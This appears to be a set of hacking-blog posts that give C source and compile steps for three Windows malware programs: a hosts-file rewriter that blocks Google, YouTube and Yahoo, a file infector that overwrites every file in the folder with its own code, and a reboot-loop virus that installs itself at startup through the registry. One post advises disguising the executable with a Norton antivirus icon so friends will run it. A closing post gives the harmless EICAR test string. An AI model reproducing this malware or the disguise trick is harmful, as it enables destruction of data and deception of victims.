A Virus Program to Block Websites

                                                      
Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

 

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run. 

%windir%\system32\drivers\etc

 

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1                                google.com

 

5. Delete all such entries which contain the names of blocked sites.

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How to Create a Computer Virus?

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.
 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

COMPILING METHOD:

 

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

 

HOW TO TEST:

 

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

Visitors who read this post, also read:

1. How to Protect Your Computer from Keyloggers
2. How Antivirus Software Works
3. 10 Tips to Avoid Getting Adware

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A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h> int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

 

Compiling The Scource Code Into Executable Virus.

 

1. Download the Source Code Here

2. The downloaded file will be Sysres.C

3. For step-by-step compilation guide, refer my post How to compile C Programs.

 

Testing And Removing The Virus From Your PC

 

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

 

1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System

(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

 

Logic Behind The Working Of The Virus

 

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.

 

LOGIC:

 

1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

 

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

 

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

Visitors who read this post, also read:

1. How to Protect Your Computer from Keyloggers
2. How Antivirus Software Works

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How to Test the Working of your Antivirus – EICAR Test

Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.


1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.

EICAR Test code

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

 

2. Rename the file from New Text Document.TXT to myfile.com

3. Now run the antivirus scan on this myfile.com file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.

NOTE: Most antivirus will pop-out a warning message in the Step-1 itself

 

You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.

Visitors who read this post, also read:

1. How Antivirus Software Works
2. How to Protect Your Computer from Keyloggers
3. 10 Tips to Avoid Getting Adware

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